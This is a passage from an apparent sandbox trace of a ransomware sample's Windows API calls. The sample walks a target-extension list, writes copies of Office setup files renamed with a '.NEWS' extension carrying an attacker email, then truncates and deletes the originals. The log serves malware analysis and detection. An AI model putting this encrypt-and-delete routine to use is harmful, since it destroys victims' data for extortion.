out: lpThreadId=0x0) returned 0x138 [0043.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61a668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0043.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61a668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0043.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61a668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0043.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610ab0 [0043.665] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610ab0, Size=0x20) returned 0x5f5d68 [0043.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610ab0 [0043.665] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610ab0, Size=0x20) returned 0x5f5c28 [0043.666] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0043.666] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0043.666] Wow64DisableWow64FsRedirection (in: OldValue=0x25dff84 | out: OldValue=0x25dff84*=0x0) returned 1 [0043.666] lstrlenW (lpString="kernel32.dll") returned 12 [0043.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5d68 | out: hHeap=0x5c0000) returned 1 [0043.666] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0043.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c28 | out: hHeap=0x5c0000) returned 1 [0043.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x61d5a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0043.668] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0043.894] GetTickCount () returned 0x1154db3 [0043.894] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0044.242] GetTickCount () returned 0x1154ead [0044.242] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0044.506] GetTickCount () returned 0x1154f49 [0044.506] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0044.932] GetTickCount () returned 0x1155081 [0044.932] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0045.236] GetTickCount () returned 0x11551a9 [0045.236] GetTickCount () returned 0x11551a9 [0045.236] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0045.493] GetTickCount () returned 0x1155274 [0045.493] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0045.867] GetTickCount () returned 0x115534f [0045.868] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0046.114] GetTickCount () returned 0x1155448 [0046.114] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0046.368] GetTickCount () returned 0x1155542 [0046.368] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0046.745] GetTickCount () returned 0x11556b8 [0046.745] GetTickCount () returned 0x11556b8 [0046.745] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0046.988] GetTickCount () returned 0x1155783 [0046.988] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0047.286] GetTickCount () returned 0x11558ab [0047.286] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0047.635] GetTickCount () returned 0x1155a03 [0047.635] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0048.812] GetTickCount () returned 0x1155bb7 [0048.812] GetTickCount () returned 0x1155bb7 [0048.812] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0049.045] GetTickCount () returned 0x1155ca1 [0049.045] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0049.350] GetTickCount () returned 0x1155dca [0049.350] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0049.581] GetTickCount () returned 0x1155eb4 [0049.581] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0049.999] GetTickCount () returned 0x1156059 [0049.999] GetTickCount () returned 0x1156059 [0049.999] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0050.512] GetTickCount () returned 0x115625c [0050.512] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0050.903] GetTickCount () returned 0x11563e2 [0050.903] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0051.429] GetTickCount () returned 0x11565b6 [0051.429] GetTickCount () returned 0x11565b6 [0051.430] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0051.698] GetTickCount () returned 0x11566cf [0051.698] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0052.122] GetTickCount () returned 0x1156874 [0052.122] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0052.584] GetTickCount () returned 0x1156a19 [0052.584] GetTickCount () returned 0x1156a19 [0052.584] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0052.836] GetTickCount () returned 0x1156b22 [0052.836] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0053.071] GetTickCount () returned 0x1156c0c [0053.071] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0053.180] GetTickCount () returned 0x1156c79 [0053.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0053.361] GetTickCount () returned 0x1156d25 [0053.361] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0053.757] GetTickCount () returned 0x1156e9b [0053.757] GetTickCount () returned 0x1156e9b [0053.757] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0054.055] GetTickCount () returned 0x1156fc4 [0054.055] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0054.535] GetTickCount () returned 0x1157198 [0054.535] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0054.859] GetTickCount () returned 0x11572df [0054.859] GetTickCount () returned 0x11572df [0054.859] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0055.179] GetTickCount () returned 0x1157427 [0055.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0055.411] GetTickCount () returned 0x1157511 [0055.411] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0055.941] GetTickCount () returned 0x1157723 [0055.941] GetTickCount () returned 0x1157723 [0055.941] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0056.299] GetTickCount () returned 0x115786b [0056.299] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0056.587] GetTickCount () returned 0x1157965 [0056.587] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0056.861] GetTickCount () returned 0x1157a7d [0056.861] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0057.220] GetTickCount () returned 0x1157be4 [0057.220] GetTickCount () returned 0x1157be4 [0057.220] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0057.583] GetTickCount () returned 0x1157d4b [0057.583] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0057.902] GetTickCount () returned 0x1157e83 [0057.903] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0058.296] GetTickCount () returned 0x1158019 [0058.296] GetTickCount () returned 0x1158019 [0058.296] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0058.792] GetTickCount () returned 0x1158170 [0058.792] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0059.482] GetTickCount () returned 0x1158373 [0059.482] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0059.853] GetTickCount () returned 0x115849b [0059.853] GetTickCount () returned 0x115849b [0059.853] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0060.188] GetTickCount () returned 0x11585f2 [0060.188] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0060.771] GetTickCount () returned 0x1158834 [0060.772] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0061.184] GetTickCount () returned 0x11589d9 [0061.184] GetTickCount () returned 0x11589d9 [0061.184] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0061.750] GetTickCount () returned 0x1158bdc [0061.750] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0062.209] GetTickCount () returned 0x1158da0 [0062.209] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0062.534] GetTickCount () returned 0x1158ec8 [0062.534] GetTickCount () returned 0x1158ec8 [0062.534] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0062.855] GetTickCount () returned 0x1159010 [0062.855] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0063.112] GetTickCount () returned 0x115910a [0063.112] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0063.445] GetTickCount () returned 0x1159261 [0063.445] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0063.731] GetTickCount () returned 0x115937a [0063.731] GetTickCount () returned 0x115937a [0063.731] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0064.071] GetTickCount () returned 0x11594d1 [0064.071] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0064.458] GetTickCount () returned 0x1159657 [0064.458] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0064.756] GetTickCount () returned 0x115977f [0064.756] GetTickCount () returned 0x115977f [0064.756] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0065.869] GetTickCount () returned 0x1159bd3 [0065.869] GetTickCount () returned 0x1159bd3 [0065.872] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0066.271] GetTickCount () returned 0x1159d49 [0066.271] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0066.595] GetTickCount () returned 0x1159e91 [0066.595] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0066.920] GetTickCount () returned 0x1159fc9 [0066.920] GetTickCount () returned 0x1159fc9 [0066.921] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0068.315] GetTickCount () returned 0x115a545 [0068.315] GetTickCount () returned 0x115a545 [0068.315] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0068.985] GetTickCount () returned 0x115a7e4 [0068.985] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0069.357] GetTickCount () returned 0x115a95a [0069.357] GetTickCount () returned 0x115a95a [0069.357] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0069.644] GetTickCount () returned 0x115aa73 [0069.644] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0070.458] GetTickCount () returned 0x115ad9e [0070.458] GetTickCount () returned 0x115ad9e [0070.458] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0070.818] GetTickCount () returned 0x115af05 [0070.818] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0071.078] GetTickCount () returned 0x115b00e [0071.078] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0071.444] GetTickCount () returned 0x115b175 [0071.444] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0071.911] GetTickCount () returned 0x115b349 [0071.911] GetTickCount () returned 0x115b349 [0071.911] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0072.650] GetTickCount () returned 0x115b636 [0072.650] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0072.916] GetTickCount () returned 0x115b73f [0072.916] GetTickCount () returned 0x115b73f [0072.916] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) Thread: id = 10 os_tid = 0x74c [0043.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x66e5e8 [0043.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x67e5f0 [0043.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610a20 [0043.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x5fa398 [0043.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610a38 [0043.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3130020 [0043.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610a50 [0043.654] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610a50, Size=0x20) returned 0x5f5c28 [0043.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610a50 [0043.654] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610a50, Size=0x20) returned 0x5f5d68 [0043.654] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0043.654] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0043.654] Wow64DisableWow64FsRedirection (in: OldValue=0x271ff58 | out: OldValue=0x271ff58*=0x0) returned 1 [0043.654] lstrlenW (lpString="kernel32.dll") returned 12 [0043.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c28 | out: hHeap=0x5c0000) returned 1 [0043.654] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0043.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5d68 | out: hHeap=0x5c0000) returned 1 [0043.655] Sleep (dwMilliseconds=0x64) [0043.893] Sleep (dwMilliseconds=0x64) [0044.242] Sleep (dwMilliseconds=0x64) [0044.506] Sleep (dwMilliseconds=0x64) [0044.951] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0044.951] lstrlenW (lpString="Setup.xml") returned 9 [0044.951] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.120] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1886) returned 1 [0045.120] CloseHandle (hObject=0x198) returned 1 [0045.120] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.120] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.120] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.121] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.121] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.121] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0045.121] GetLastError () returned 0x0 [0045.121] ReadFile (in: hFile=0x198, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x75e, lpOverlapped=0x0) returned 1 [0045.145] WriteFile (in: hFile=0x160, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x760, lpOverlapped=0x0) returned 1 [0045.147] ReadFile (in: hFile=0x198, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.147] WriteFile (in: hFile=0x160, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.147] SetEndOfFile (hFile=0x160) returned 1 [0045.148] CloseHandle (hObject=0x160) returned 1 [0045.148] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.148] SetEndOfFile (hFile=0x198) returned 1 [0045.150] CloseHandle (hObject=0x198) returned 1 [0045.150] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.150] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0045.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.151] lstrlenW (lpString=".doc") returned 4 [0045.151] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.151] lstrlenW (lpString=".docx") returned 5 [0045.151] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.151] lstrlenW (lpString=".pdf") returned 4 [0045.151] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.151] lstrlenW (lpString=".xls") returned 4 [0045.151] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.151] lstrlenW (lpString=".xlsx") returned 5 [0045.151] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.151] lstrlenW (lpString=".ppt") returned 4 [0045.151] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.151] lstrlenW (lpString=".zip") returned 4 [0045.151] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.151] lstrlenW (lpString=".rar") returned 4 [0045.151] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.151] lstrlenW (lpString=".bz2") returned 4 [0045.151] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.151] lstrlenW (lpString=".7z") returned 3 [0045.152] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.152] lstrlenW (lpString=".dbf") returned 4 [0045.152] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.152] lstrlenW (lpString=".1cd") returned 4 [0045.152] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.152] lstrlenW (lpString=".jpg") returned 4 [0045.152] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.152] lstrlenW (lpString=".doc") returned 4 [0045.152] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.152] lstrlenW (lpString=".docx") returned 5 [0045.152] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.152] lstrlenW (lpString=".pdf") returned 4 [0045.152] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.152] lstrlenW (lpString=".xls") returned 4 [0045.152] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.152] lstrlenW (lpString=".xlsx") returned 5 [0045.152] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.152] lstrlenW (lpString=".ppt") returned 4 [0045.153] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.153] lstrlenW (lpString=".zip") returned 4 [0045.153] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.153] lstrlenW (lpString=".rar") returned 4 [0045.153] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.153] lstrlenW (lpString=".bz2") returned 4 [0045.153] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.153] lstrlenW (lpString=".7z") returned 3 [0045.153] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.153] lstrlenW (lpString=".dbf") returned 4 [0045.153] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.153] lstrlenW (lpString=".1cd") returned 4 [0045.153] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.153] lstrlenW (lpString=".jpg") returned 4 [0045.153] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.154] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.154] lstrlenW (lpString="Setup.xml") returned 9 [0045.154] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.384] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1608) returned 1 [0045.384] CloseHandle (hObject=0x1a0) returned 1 [0045.384] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.384] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.404] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.404] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.405] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.405] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.405] GetLastError () returned 0x0 [0045.405] ReadFile (in: hFile=0x1a0, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x648, lpOverlapped=0x0) returned 1 [0045.408] WriteFile (in: hFile=0x1a4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x650, lpOverlapped=0x0) returned 1 [0045.410] ReadFile (in: hFile=0x1a0, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.410] WriteFile (in: hFile=0x1a4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.410] SetEndOfFile (hFile=0x1a4) returned 1 [0045.411] CloseHandle (hObject=0x1a4) returned 1 [0045.412] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.412] SetEndOfFile (hFile=0x1a0) returned 1 [0045.413] CloseHandle (hObject=0x1a0) returned 1 [0045.413] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.414] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: 